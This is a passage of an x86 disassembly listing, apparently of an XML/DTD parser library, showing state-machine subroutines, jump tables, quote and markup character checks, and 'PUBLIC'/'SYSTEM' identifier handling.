mov [esi+44h], eax
loc_69B341BD: ; CODE XREF: sub_69B33E72+342j
cmp dword ptr [esi+90h], offset dword_69B26AC0
jnz short loc_69B34203 ; default
mov eax, [esi+44h]
add eax, 0FFFFFFDBh ; switch 9 cases
cmp eax, 8
ja short loc_69B34203 ; default
jmp ds:off_69B3460B[eax*4] ; switch jump
loc_69B341DB: ; DATA XREF: .text:off_69B3460Bo
and dword ptr [esi+78h], 0 ; jumptable 69B341D4 case 37
jmp short loc_69B34203 ; default
; ---------------------------------------------------------------------------
loc_69B341E1: ; CODE XREF: sub_69B33E72+362j
; DATA XREF: .text:off_69B3460Bo
mov dword ptr [esi+78h], 1 ; jumptable 69B341D4 cases 38,39,41
jmp short loc_69B34203 ; default
; ---------------------------------------------------------------------------
loc_69B341EA: ; CODE XREF: sub_69B33E72+362j
; DATA XREF: .text:off_69B3460Bo
mov dword ptr [esi+78h], 2 ; jumptable 69B341D4 cases 40,42
jmp short loc_69B34203 ; default
; ---------------------------------------------------------------------------
loc_69B341F3: ; CODE XREF: sub_69B33E72+362j
; DATA XREF: .text:off_69B3460Bo
mov dword ptr [esi+78h], 3 ; jumptable 69B341D4 cases 43,45
jmp short loc_69B34203 ; default
; ---------------------------------------------------------------------------
loc_69B341FC: ; CODE XREF: sub_69B33E72+362j
; DATA XREF: .text:off_69B3460Bo
mov dword ptr [esi+78h], 4 ; jumptable 69B341D4 case 44
loc_69B34203: ; CODE XREF: sub_69B33E72+355j
; sub_69B33E72+360j ...
mov ebx, [edi+8] ; default
jmp loc_69B3430E ; default
; jumptable 69B33EA9 case 25
; ---------------------------------------------------------------------------
loc_69B3420B: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
cmp byte ptr [esi+68h], 0 ; jumptable 69B33EA9 case 13
jmp short loc_69B34272
; ---------------------------------------------------------------------------
loc_69B34211: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
push 53h ; jumptable 69B33EA9 case 27
mov ecx, esi
mov dword ptr [esi+44h], 22h
mov byte ptr [esi+0A5h], 1
call sub_69B31F28
push 59h
mov ecx, esi
call sub_69B31F28
push 53h
mov ecx, esi
call sub_69B31F28
push 54h
mov ecx, esi
call sub_69B31F28
push 45h
mov ecx, esi
call sub_69B31F28
push 4Dh
mov ecx, esi
call sub_69B31F28
jmp loc_69B3430E ; default
; jumptable 69B33EA9 case 25
; ---------------------------------------------------------------------------
loc_69B3425A: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
cmp byte ptr [esi+5Ch], 0 ; jumptable 69B33EA9 case 19
jnz loc_69B3434F
xor eax, eax
mov ax, [esi+52h]
push eax
call sub_69B31987
test eax, eax
loc_69B34272: ; CODE XREF: sub_69B33E72+D9j
; sub_69B33E72+39Dj
jnz loc_69B3430E ; default
; jumptable 69B33EA9 case 25
loc_69B34278: ; CODE XREF: sub_69B33E72+14Dj
; sub_69B33E72+22Fj ...
mov ebx, [edi+0Ch]
jmp loc_69B3430E ; default
; jumptable 69B33EA9 case 25
; ---------------------------------------------------------------------------
loc_69B34280: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
cmp byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 20
jnz loc_69B343C0
cmp byte ptr [esi+5Ch], 0
jnz loc_69B3434F
push ebx
push offset sub_69B338B4
mov ecx, esi
call sub_69B320E7
test eax, eax
jl loc_69B343C2
mov ecx, esi
call sub_69B338B4
loc_69B342B3: ; CODE XREF: sub_69B33E72+267j
; sub_69B33E72+2AFj ...
test eax, eax
mov [ebp+var_4], eax
jl loc_69B343C2
jmp short loc_69B3430E ; default
; jumptable 69B33EA9 case 25
; ---------------------------------------------------------------------------
loc_69B342C0: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
mov ecx, [esi+34h] ; jumptable 69B33EA9 case 21
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_14]
push eax
call sub_69B35C65
mov eax, [edi+10h]
add eax, [ebp+var_10]
mov ecx, [esi+34h]
push eax
push [ebp+var_14]
call sub_69B35F15
mov [ebp+var_4], eax
jmp short loc_69B3430E ; default
; jumptable 69B33EA9 case 25
; ---------------------------------------------------------------------------
loc_69B342E7: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
push ebx ; jumptable 69B33EA9 case 26
push offset sub_69B32A54
mov ecx, esi
call sub_69B320E7
test eax, eax
jl loc_69B343C2
mov ecx, esi
call sub_69B32A54
test eax, eax
mov [ebp+var_4], eax
jl loc_69B3450F
loc_69B3430E: ; CODE XREF: sub_69B33E72+31j
; sub_69B33E72+37j ...
cmp dword ptr [esi], offset sub_69B33E72 ; default
; jumptable 69B33EA9 case 25
jnz loc_69B343C0
cmp ebx, 0C00CE500h
jnb loc_69B34590
cmp [ebp+var_4], 0
mov [esi+4], bx
jz loc_69B33E81
loc_69B34334: ; CODE XREF: sub_69B33E72+13j
cmp dword ptr [esi+44h], 42h
jnz loc_69B343C0
mov ecx, [esi+34h]
call sub_69B35D39
jmp short loc_69B343C2
; ---------------------------------------------------------------------------
loc_69B34348: ; CODE XREF: sub_69B33E72+5Ej
mov eax, 0C00CE509h
jmp short loc_69B343C2
; ---------------------------------------------------------------------------
loc_69B3434F: ; CODE XREF: sub_69B33E72+4Fj
; sub_69B33E72+75j ...
mov eax, [esi+94h]
jmp short loc_69B343C2
; ---------------------------------------------------------------------------
loc_69B34357: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
cmp byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 8
jnz short loc_69B343C0
cmp byte ptr [esi+5Ch], 0
jnz short loc_69B3434F
cmp dword ptr [edi+0Ch], 0
push ebx
setnz al
push offset sub_69B33E72
mov ecx, esi
mov [esi+68h], al
call sub_69B320E7
test eax, eax
jl short loc_69B343C2
mov dword ptr [esi+90h], offset byte_69B34630
jmp loc_69B34414
; ---------------------------------------------------------------------------
loc_69B34390: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
mov eax, [edi+10h] ; jumptable 69B33EA9 case 10
test eax, eax
mov [esi+48h], eax
jnz short loc_69B343A3
mov ecx, [esi+34h]
push eax
call sub_69B318D1
loc_69B343A3: ; CODE XREF: sub_69B33E72+526j
cmp dword ptr [edi+10h], 0
mov ecx, esi
setz al
push eax
call sub_69B3220F
test eax, eax
jl short loc_69B343C2
mov eax, [edi+0Ch]
and dword ptr [esi+78h], 0
mov [esi+44h], eax
loc_69B343C0: ; CODE XREF: sub_69B33E72+45j
; sub_69B33E72+6Bj ...
xor eax, eax
loc_69B343C2: ; CODE XREF: sub_69B33E72+8Aj
; sub_69B33E72+9Cj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_69B343C7: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
cmp byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 12
jnz short loc_69B343C0
push ebx
push offset sub_69B324CC
mov ecx, esi
call sub_69B320E7
test eax, eax
jl short loc_69B343C2
mov ecx, esi
call sub_69B324CC
jmp short loc_69B343C2
; ---------------------------------------------------------------------------
loc_69B343EA: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
cmp byte ptr [esi+5Ch], 0 ; jumptable 69B33EA9 case 15
jnz loc_69B3434F
mov eax, [edi+0Ch]
push ebx
mov [esi+44h], eax
mov edi, [edi+4]
push offset sub_69B33E72
mov ecx, esi
call sub_69B320E7
test eax, eax
jl short loc_69B343C2
mov [esi+90h], edi
loc_69B34414: ; CODE XREF: sub_69B33E72+519j
mov dword ptr [esi+94h], 0C00CE562h
jmp short loc_69B343C2
; ---------------------------------------------------------------------------
loc_69B34420: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
cmp byte ptr [esi+5Ch], 0 ; jumptable 69B33EA9 case 16
jnz loc_69B3434F
push 0C00CE562h
push dword ptr [edi+4]
mov ecx, esi
call sub_69B322C1
jmp short loc_69B343C2
; ---------------------------------------------------------------------------
loc_69B3443B: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
push ebx ; jumptable 69B33EA9 case 17
push offset sub_69B325A9
jmp loc_69B34584
; ---------------------------------------------------------------------------
loc_69B34446: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
cmp byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 18
jnz loc_69B343C0
push ebx
push offset sub_69B33C72
jmp loc_69B34584
; ---------------------------------------------------------------------------
loc_69B3445E: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
cmp byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 23
jnz loc_69B343C0
lea ecx, [esi+52h]
mov ax, [ecx]
cmp ax, 22h
jz short loc_69B34481
cmp ax, 27h
jnz loc_69B34536
loc_69B34481: ; CODE XREF: sub_69B33E72+603j
cmp byte ptr [esi+0A8h], 0
mov [esi+56h], ax
jnz short loc_69B3449D
lea eax, [esi+5Ch]
push eax
push ecx
mov ecx, [esi+34h]
call sub_69B35FE4
jmp short loc_69B344A4
; ---------------------------------------------------------------------------
loc_69B3449D: ; CODE XREF: sub_69B33E72+61Aj
mov ecx, esi
call sub_69B34A8C
loc_69B344A4: ; CODE XREF: sub_69B33E72+629j
test eax, eax
jnz loc_69B343C2
mov ecx, [esi+34h]
push eax
call sub_69B318D1
cmp dword ptr [edi+0Ch], 1
setz al
cmp byte ptr [esi+5Ch], 0
mov [esi+0B9h], al
jnz loc_69B3434F
push ebx
push offset sub_69B33973
jmp loc_69B34584
; ---------------------------------------------------------------------------
loc_69B344D7: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
cmp byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 24
jnz loc_69B343C0
cmp byte ptr [esi+5Ch], 0
jnz loc_69B3434F
push ebx
push offset sub_69B33AED
mov ecx, esi
call sub_69B320E7
test eax, eax
jl loc_69B343C2
mov ecx, esi
call sub_69B33AED
jmp loc_69B343C2
; ---------------------------------------------------------------------------
loc_69B3450F: ; CODE XREF: sub_69B33E72+496j
mov eax, [ebp+var_4]
jmp loc_69B343C2
; ---------------------------------------------------------------------------
loc_69B34517: ; CODE XREF: sub_69B33E72+37j
; DATA XREF: .text:off_69B34597o
cmp byte ptr [esi+0B0h], 0 ; jumptable 69B33EA9 case 28
jnz loc_69B343C0
lea ecx, [esi+52h]
mov ax, [ecx]
cmp ax, 22h
jz short loc_69B34540
cmp ax, 27h
jz short loc_69B34540
loc_69B34536: ; CODE XREF: sub_69B33E72+609j
mov eax, 0C00CE502h
jmp loc_69B343C2
; ---------------------------------------------------------------------------
loc_69B34540: ; CODE XREF: sub_69B33E72+6BCj
; sub_69B33E72+6C2j
cmp byte ptr [esi+0A8h], 0
mov [esi+56h], ax
jnz short loc_69B3455C
lea eax, [esi+5Ch]
push eax
push ecx
mov ecx, [esi+34h]
call sub_69B35FE4
jmp short loc_69B34563
; ---------------------------------------------------------------------------
loc_69B3455C: ; CODE XREF: sub_69B33E72+6D9j
mov ecx, esi
call sub_69B34A8C
loc_69B34563: ; CODE XREF: sub_69B33E72+6E8j
test eax, eax
jnz loc_69B343C2
mov ecx, [esi+34h]
push eax
call sub_69B318D1
cmp byte ptr [esi+5Ch], 0
jnz loc_69B3434F
push ebx
push offset sub_69B3299B
loc_69B34584: ; CODE XREF: sub_69B33E72+5CFj
; sub_69B33E72+5E7j ...
mov ecx, esi
call sub_69B320E7
jmp loc_69B343C2
; ---------------------------------------------------------------------------
loc_69B34590: ; CODE XREF: sub_69B33E72+4AEj
mov eax, ebx
jmp loc_69B343C2
sub_69B33E72 endp
; ---------------------------------------------------------------------------
off_69B34597 dd offset loc_69B33ED6 ; DATA XREF: sub_69B33E72+37r
dd offset loc_69B33EB0 ; jump table for switch statement
dd offset loc_69B33FCF
dd offset loc_69B33FE6
dd offset loc_69B3407A
dd offset loc_69B340A6
dd offset loc_69B34126
dd offset loc_69B34137
dd offset loc_69B34357
dd offset loc_69B34174
dd offset loc_69B34390
dd offset loc_69B33F2B
dd offset loc_69B343C7
dd offset loc_69B3420B
dd offset loc_69B340DE
dd offset loc_69B343EA
dd offset loc_69B34420
dd offset loc_69B3443B
dd offset loc_69B34446
dd offset loc_69B3425A
dd offset loc_69B34280
dd offset loc_69B342C0
dd offset loc_69B33F50
dd offset loc_69B3445E
dd offset loc_69B344D7
dd offset loc_69B3430E
dd offset loc_69B342E7
dd offset loc_69B34211
dd offset loc_69B34517
off_69B3460B dd offset loc_69B341DB ; DATA XREF: sub_69B33E72+362r
dd offset loc_69B341E1 ; jump table for switch statement
dd offset loc_69B341E1
dd offset loc_69B341EA
dd offset loc_69B341E1
dd offset loc_69B341EA
dd offset loc_69B341F3
dd offset loc_69B341FC
dd offset loc_69B341F3
align 10h
byte_69B34630 db 5, 4 dup(0) ; DATA XREF: sub_69B33E72+50Fo
align 4
dd 1, 2 dup(0)
dd 9
dd offset aPublic_0 ; "PUBLIC"
dd 3, 2, 23h, 9
dd offset aSystem_0 ; "SYSTEM"
dd 0Dh, 0C00CE566h, 22h, 1, 0
dd 4, 2 dup(0)
dd 1Ch, 0
db 5, 4 dup(0)
align 10h
dd 0
dd 6, 0
dd 6, 0Dh, 0FFFFFFFFh, 0Dh, 0
dd 7, 0Bh, 0
dd 0Bh, 0
dd 10h, 8, 0
dd 1, 0
dd 9, 2 dup(0)
dd 4
dd offset asc_69B270E4 ; "\""
dd 0Ch, 0Ah, 0
dd 4
dd offset asc_69B270E0 ; "'"
dd 0Ch, 10h, 0
dd 1, 0
dd 0Ch, 2 dup(0)
dd 1Bh, 0
dd 0Eh, 2 dup(0)
dd 1, 0
dd 0Eh, 2 dup(0)
dd 1Ch, 0
dd 0Fh, 2 dup(0)
dd 6, 0
dd 10h, 0Dh, 0FFFFFFFFh, 0Ah, 3 dup(0)
dd 1, 0
aSystem_0: ; DATA XREF: .text:69B3465Co
unicode 0, <SYSTEM>,0
align 4
aPublic_0: ; DATA XREF: .text:69B34648o
unicode 0, <PUBLIC>,0
; =============== S U B R O U T I N E =======================================
sub_69B347A6 proc near ; CODE XREF: sub_69B2132A+374p
; sub_69B347D3+161p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push [esp+4+arg_0]
mov esi, ecx
push offset sub_69B33E72
call sub_69B320E7
test eax, eax
jl short loc_69B347CF
mov ecx, [esp+4+arg_4]
mov [esi+90h], ecx
mov ecx, [esp+4+arg_8]
mov [esi+94h], ecx
loc_69B347CF: ; CODE XREF: sub_69B347A6+13j
pop esi
retn 0Ch
sub_69B347A6 endp
; =============== S U B R O U T I N E =======================================
sub_69B347D3 proc near ; CODE XREF: sub_69B3347E+157j
; DATA XREF: sub_69B324CC+49o ...
; FUNCTION CHUNK AT 69B333D2 SIZE 000000AC BYTES
push ebx
push ebp
push esi
mov esi, ecx
lea ebp, [esi+5Ch]
xor ebx, ebx
cmp [ebp+0], bl
jz short loc_69B34802
cmp [esi+10h], ebx
jnz short loc_69B347EE
mov eax, 0C00CE500h
jmp short loc_69B34860
; ---------------------------------------------------------------------------
loc_69B347EE: ; CODE XREF: sub_69B347D3+12j
mov eax, [esi+0ACh]
neg eax
sbb eax, eax
and eax, 9
add eax, 0C00CE559h
jmp short loc_69B34860
; ---------------------------------------------------------------------------
loc_69B34802: ; CODE XREF: sub_69B347D3+Dj
movsx eax, word ptr [esi+4]
sub eax, ebx
jz short loc_69B34831
dec eax
jz short loc_69B34814
mov eax, 0C00CE512h
jmp short loc_69B34860
; ---------------------------------------------------------------------------
loc_69B34814: ; CODE XREF: sub_69B347D3+38j
mov eax, [esi+34h]
mov [esi+4], bx
mov ecx, [eax+8]
sub ecx, [eax+14h]
dec ecx
test ecx, ecx
jle short loc_69B3482D
mov dword ptr [esi+44h], 12h
loc_69B3482D: ; CODE XREF: sub_69B347D3+51j
xor eax, eax
jmp short loc_69B34860
; ---------------------------------------------------------------------------
loc_69B34831: ; CODE XREF: sub_69B347D3+35j
push edi
lea edi, [esi+52h]
movzx eax, word ptr [edi]
cmp eax, 25h
jz loc_69B3497E
cmp eax, 3Ch
jz loc_69B348EB
cmp eax, 5Dh
jz short loc_69B34881
mov eax, [esi+34h]
mov ecx, [eax+48h]
cmp ecx, [eax+8]
jz short loc_69B34864
loc_69B3485A: ; CODE XREF: sub_69B347D3+BCj
mov eax, 0C00CE50Bh
loc_69B3485F: ; CODE XREF: sub_69B347D3+A1j
; sub_69B347D3+E4j ...
pop edi
loc_69B34860: ; CODE XREF: sub_69B347D3+19j
; sub_69B347D3+2Dj ...
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_69B34864: ; CODE XREF: sub_69B347D3+85j
push 1
push offset sub_69B3254F
mov ecx, esi
call sub_69B320E7
cmp eax, ebx
jl short loc_69B3485F
pop edi
mov ecx, esi
pop esi
pop ebp
pop ebx
jmp sub_69B3254F
; ---------------------------------------------------------------------------
loc_69B34881: ; CODE XREF: sub_69B347D3+7Aj
cmp [esi+0A9h], bl
jnz short loc_69B34891
cmp [esi+0ACh], ebx
jz short loc_69B3485A
loc_69B34891: ; CODE XREF: sub_69B347D3+B4j
mov ecx, [esi+34h]
push ebx
call sub_69B318D1
cmp [esi+0A8h], bl
jnz short loc_69B348AE
mov ecx, [esi+34h]
push ebp
push edi
call sub_69B35FE4
jmp short loc_69B348B5
; ---------------------------------------------------------------------------
loc_69B348AE: ; CODE XREF: sub_69B347D3+CDj
mov ecx, esi
call sub_69B34A8C
loc_69B348B5: ; CODE XREF: sub_69B347D3+D9j
cmp eax, ebx
jnz short loc_69B3485F
cmp [esi+0A9h], bl
jz short loc_69B348CD
mov [esi+0A8h], bl
mov [esi+0A9h], bl
loc_69B348CD: ; CODE XREF: sub_69B347D3+ECj
dec dword ptr [esi+0ACh]
push 1
mov ecx, esi
call sub_69B3220F
cmp eax, ebx
jl loc_69B3485F
xor eax, eax
jmp loc_69B3485F
; ---------------------------------------------------------------------------
loc_69B348EB: ; CODE XREF: sub_69B347D3+71j
cmp [esi+0A8h], bl
jnz short loc_69B348FF
mov ecx, [esi+34h]
push ebp
push edi
call sub_69B35FE4
jmp short loc_69B34906
; ---------------------------------------------------------------------------
loc_69B348FF: ; CODE XREF: sub_69B347D3+11Ej
mov ecx, esi
call sub_69B34A8C
loc_69B34906: ; CODE XREF: sub_69B347D3+12Aj
cmp eax, ebx
jnz loc_69B3485F
mov di, [edi]
cmp di, 21h
jnz short loc_69B3493E
mov ecx, [esi+34h]
call sub_69B35F5B
cmp eax, ebx
jl loc_69B3485F
push 0C00CE562h
push offset dword_69B26E30
push ebx
mov ecx, esi
call sub_69B347A6
jmp loc_69B3485F
; ---------------------------------------------------------------------------
loc_69B3493E: ; CODE XREF: sub_69B347D3+142j
cmp di, 3Fh
jnz short loc_69B34964
push ebx
push offset sub_69B2132A
mov ecx, esi
call sub_69B320E7
cmp eax, ebx
jl loc_69B3485F
pop edi
mov ecx, esi
pop esi
pop ebp
pop ebx
jmp sub_69B2132A
; ---------------------------------------------------------------------------
loc_69B34964: ; CODE XREF: sub_69B347D3+16Fj
mov esi, [esi+34h]
mov eax, [esi+48h]
sub eax, [esi+8]
neg eax
sbb eax, eax
and eax, 54h
add eax, 0C00CE513h
jmp loc_69B3485F
; ---------------------------------------------------------------------------
loc_69B3497E: ; CODE XREF: sub_69B347D3+68j
cmp [esi+0A8h], bl
jnz short loc_69B34992
mov ecx, [esi+34h]
push ebp
push edi
call sub_69B35FE4
jmp short loc_69B34999
; ---------------------------------------------------------------------------
loc_69B34992: ; CODE XREF: sub_69B347D3+1B1j
mov ecx, esi
call sub_69B34A8C
loc_69B34999: ; CODE XREF: sub_69B347D3+1BDj
cmp eax, ebx
jnz loc_69B3485F
push ebx
push offset loc_69B333D2
mov ecx, esi
call sub_69B320E7
cmp eax, ebx
jl loc_69B3485F
pop edi
mov ecx, esi
pop esi
pop ebp
pop ebx
jmp loc_69B333D2
sub_69B347D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B349C1 proc near ; CODE XREF: sub_69B34A8C+10p
; sub_69B34A8C+CCp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, ecx
mov eax, [esi+24h]
test eax, eax
push edi
jz short loc_69B349E0
lea edi, [eax-1]
imul edi, [esi+1Ch]
add edi, [esi+20h]
jnz short loc_69B349E8
loc_69B349E0: ; CODE XREF: sub_69B349C1+11j
xor eax, eax
inc eax
jmp loc_69B34A88
; ---------------------------------------------------------------------------
loc_69B349E8: ; CODE XREF: sub_69B349C1+1Dj
cmp byte ptr [edi+6], 0
jz short loc_69B34A31
mov eax, [esi+10h]
test eax, eax
jz short loc_69B349FD
dec eax
imul eax, [esi+8]
add eax, [esi+0Ch]
loc_69B349FD: ; CODE XREF: sub_69B349C1+32j
mov edx, [edi+0Ch]
mov ecx, offset sub_69B347D3
cmp edx, ecx
jz short loc_69B34A0D
cmp [eax], ecx
jnz short loc_69B34A18
loc_69B34A0D: ; CODE XREF: sub_69B349C1+46j
cmp [eax], edx
jz short loc_69B34A18
mov [ebp+var_4], 0C00CE55Bh
loc_69B34A18: ; CODE XREF: sub_69B349C1+4Aj
; sub_69B349C1+4Ej
cmp byte ptr [esi+8Eh], 0
mov ax, [edi+4]
jnz short loc_69B34A35
mov [esi+38h], ax
mov word ptr [esi+52h], 20h
jmp short loc_69B34A39
; ---------------------------------------------------------------------------
loc_69B34A31: ; CODE XREF: sub_69B349C1+2Bj
mov ax, [edi+4]
loc_69B34A35: ; CODE XREF: sub_69B349C1+62j
mov [esi+52h], ax
loc_69B34A39: ; CODE XREF: sub_69B349C1+6Ej
push ebx
mov ebx, [esi+34h]
test ebx, ebx
mov byte ptr [esi+5Ch], 0
jz short loc_69B34A52
mov ecx, ebx
call sub_69B35E77
push ebx
call sub_69B1B2B7
loc_69B34A52: ; CODE XREF: sub_69B349C1+82j
cmp word ptr [esi+52h], 20h
mov eax, [edi]
mov [esi+34h], eax
pop ebx
jnz short loc_69B34A65
mov ecx, [eax+8]
mov [eax+48h], ecx
loc_69B34A65: ; CODE XREF: sub_69B349C1+9Cj
mov al, [edi+7]
mov [esi+5Dh], al
cmp byte ptr [edi+7], 0
jz short loc_69B34A7A
mov al, [edi+8]
mov [esi+0A9h], al
loc_69B34A7A: ; CODE XREF: sub_69B349C1+AEj
lea ecx, [esi+1Ch]
call sub_69B31F0D
dec dword ptr [esi+30h]
mov eax, [ebp+var_4]
loc_69B34A88: ; CODE XREF: sub_69B349C1+22j
pop edi
pop esi
leave
retn
sub_69B349C1 endp
; =============== S U B R O U T I N E =======================================
sub_69B34A8C proc near ; CODE XREF: sub_69B2132A+49p
; sub_69B2132A+114p ...
var_4 = dword ptr -4
push ecx
push ebx
push esi
xor ebx, ebx
mov esi, ecx
cmp [esi+5Dh], bl
mov [esp+0Ch+var_4], ebx
jz short loc_69B34ADA
call sub_69B349C1
cmp eax, ebx
mov [esp+0Ch+var_4], eax
jl loc_69B34BE9
cmp [esi+5Dh], bl
jz short loc_69B34ADA
xor eax, eax
mov ax, [esi+4]
mov ecx, esi
mov [esi+5Dh], bl
push eax
push offset sub_69B32537
call sub_69B320E7
cmp eax, ebx
jl loc_69B34BE9
mov eax, 0C00CE500h
jmp loc_69B34BE9
; ---------------------------------------------------------------------------
loc_69B34ADA: ; CODE XREF: sub_69B34A8C+Ej
; sub_69B34A8C+24j
xor eax, eax
mov ax, [esi+38h]
cmp ax, bx
push ebp
push edi
lea edi, [esi+52h]
jz short loc_69B34B07
mov ebp, [esi+34h]
push eax
mov [edi], ax
call sub_69B2ECB4
test eax, eax
mov eax, [ebp+8]
jnz short loc_69B34AFE
dec eax
loc_69B34AFE: ; CODE XREF: sub_69B34A8C+6Fj
mov [ebp+48h], eax
mov [esi+38h], bx
jmp short loc_69B34B60
; ---------------------------------------------------------------------------
loc_69B34B07: ; CODE XREF: sub_69B34A8C+5Cj
mov ecx, [esi+34h]
lea ebp, [esi+5Ch]
push ebp
push edi
call sub_69B35FE4
cmp [ebp+0], bl
mov [esp+14h+var_4], eax
jz short loc_69B34B60
cmp [esi+24h], ebx
jle short loc_69B34B60
mov eax, [esi+24h]
cmp eax, ebx
jnz short loc_69B34B2D
xor eax, eax
jmp short loc_69B34B35
; ---------------------------------------------------------------------------
loc_69B34B2D: ; CODE XREF: sub_69B34A8C+9Bj
dec eax
imul eax, [esi+1Ch]
add eax, [esi+20h]
loc_69B34B35: ; CODE XREF: sub_69B34A8C+9Fj
cmp [eax+6], bl
jz short loc_69B34B56
cmp [esi+8Eh], bl
jnz short loc_69B34B56
mov eax, [esi+34h]
mov word ptr [edi], 20h
mov ecx, [eax+8]
mov [eax+48h], ecx
mov byte ptr [esi+5Dh], 1
jmp short loc_69B34B5D
; ---------------------------------------------------------------------------
loc_69B34B56: ; CODE XREF: sub_69B34A8C+ACj
; sub_69B34A8C+B4j
mov ecx, esi
call sub_69B349C1
loc_69B34B5D: ; CODE XREF: sub_69B34A8C+C8j
mov [ebp+0], bl
loc_69B34B60: ; CODE XREF: sub_69B34A8C+79j
; sub_69B34A8C+8Fj ...
cmp word ptr [edi], 25h
jnz short loc_69B34BE3
cmp [esi+8Dh], bl
jz short loc_69B34BE3
mov eax, [esi]
cmp eax, offset loc_69B333D2
jz short loc_69B34BE3
cmp [esi+0A9h], bl
jz short loc_69B34BB3
mov ecx, offset sub_69B347D3
cmp eax, ecx
jz short loc_69B34BB3
cmp eax, offset sub_69B3254F
jnz short loc_69B34BAB
cmp [esi+10h], ebx
jle short loc_69B34BAB
mov eax, [esi+10h]
cmp eax, ebx
jnz short loc_69B34B9F
xor eax, eax
jmp short loc_69B34BA7
; ---------------------------------------------------------------------------
loc_69B34B9F: ; CODE XREF: sub_69B34A8C+10Dj
dec eax
imul eax, [esi+8]
add eax, [esi+0Ch]
loc_69B34BA7: ; CODE XREF: sub_69B34A8C+111j
cmp [eax], ecx
jz short loc_69B34BB3
loc_69B34BAB: ; CODE XREF: sub_69B34A8C+101j
; sub_69B34A8C+106j
mov [esp+14h+var_4], 0C00CE55Ah
loc_69B34BB3: ; CODE XREF: sub_69B34A8C+F1j
; sub_69B34A8C+FAj ...
cmp [esp+14h+var_4], ebx
jnz short loc_69B34BE3
cmp [esi+8Eh], bl
mov byte ptr [esi+0B0h], 1
jnz short loc_69B34BD6
mov eax, [esi+34h]
mov word ptr [edi], 20h
mov ecx, [eax+8]
mov [eax+48h], ecx
loc_69B34BD6: ; CODE XREF: sub_69B34A8C+13Aj
cmp [esi+0A5h], bl
mov eax, 8000E5FFh
jnz short loc_69B34BE7
loc_69B34BE3: ; CODE XREF: sub_69B34A8C+D8j
; sub_69B34A8C+E0j ...
mov eax, [esp+14h+var_4]
loc_69B34BE7: ; CODE XREF: sub_69B34A8C+155j
pop edi
pop ebp
loc_69B34BE9: ; CODE XREF: sub_69B34A8C+1Bj
; sub_69B34A8C+3Ej ...
pop esi
pop ebx
pop ecx
retn
sub_69B34A8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B34BED proc near ; CODE XREF: sub_69B354B1+1Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
mov esi, ecx
xor ebx, ebx
loc_69B34BFA: ; CODE XREF: sub_69B34BED+1C2j
cmp [esi+50h], bl
jz short loc_69B34C10
push dword ptr [esi+4Ch]
mov ecx, [esi+34h]
call sub_69B318D1
mov [esi+4Ch], ebx
mov [esi+50h], bl
loc_69B34C10: ; CODE XREF: sub_69B34BED+10j
cmp [esi+0B0h], bl
jnz short loc_69B34C79
loc_69B34C18: ; CODE XREF: sub_69B34BED+F4j
mov ecx, esi
call dword ptr [esi]
cmp eax, ebx
mov [ebp+arg_8], eax
jnz short loc_69B34C5C
loc_69B34C23: ; CODE XREF: sub_69B34BED+4Cj
cmp [esi+44h], ebx
jnz short loc_69B34C3B
cmp [esi+0B0h], bl
jnz short loc_69B34C3B
mov ecx, esi
call dword ptr [esi]
cmp eax, ebx
mov [ebp+arg_8], eax
jz short loc_69B34C23
loc_69B34C3B: ; CODE XREF: sub_69B34BED+39j
; sub_69B34BED+41j
mov eax, [ebp+arg_8]
cmp eax, ebx
jnz short loc_69B34C5C
cmp [esi+44h], ebx
jnz short loc_69B34C4F
cmp [esi+0B0h], bl
jnz short loc_69B34C79
loc_69B34C4F: ; CODE XREF: sub_69B34BED+58j
mov eax, [esi+44h]
mov ecx, [ebp+arg_0]
mov [ecx], eax
jmp loc_69B34CEB
; ---------------------------------------------------------------------------
loc_69B34C5C: ; CODE XREF: sub_69B34BED+34j
; sub_69B34BED+53j
cmp eax, 8000000Ah
jz loc_69B34DB7
cmp eax, 0C00CE500h
jz loc_69B34DB7
cmp eax, 8000E5FFh
jnz short loc_69B34CE6
loc_69B34C79: ; CODE XREF: sub_69B34BED+29j
; sub_69B34BED+60j
mov eax, [ebp+arg_0]
mov [eax], ebx
mov eax, [ebp+arg_C]
mov [eax], ebx
mov eax, [ebp+arg_4]
mov [edi], ebx
mov [eax], ebx
cmp [esi+0A8h], bl
jnz short loc_69B34CA4
mov ecx, [esi+34h]
lea eax, [esi+5Ch]
push eax
lea eax, [esi+52h]
push eax
call sub_69B35FE4
jmp short loc_69B34CAB
; ---------------------------------------------------------------------------
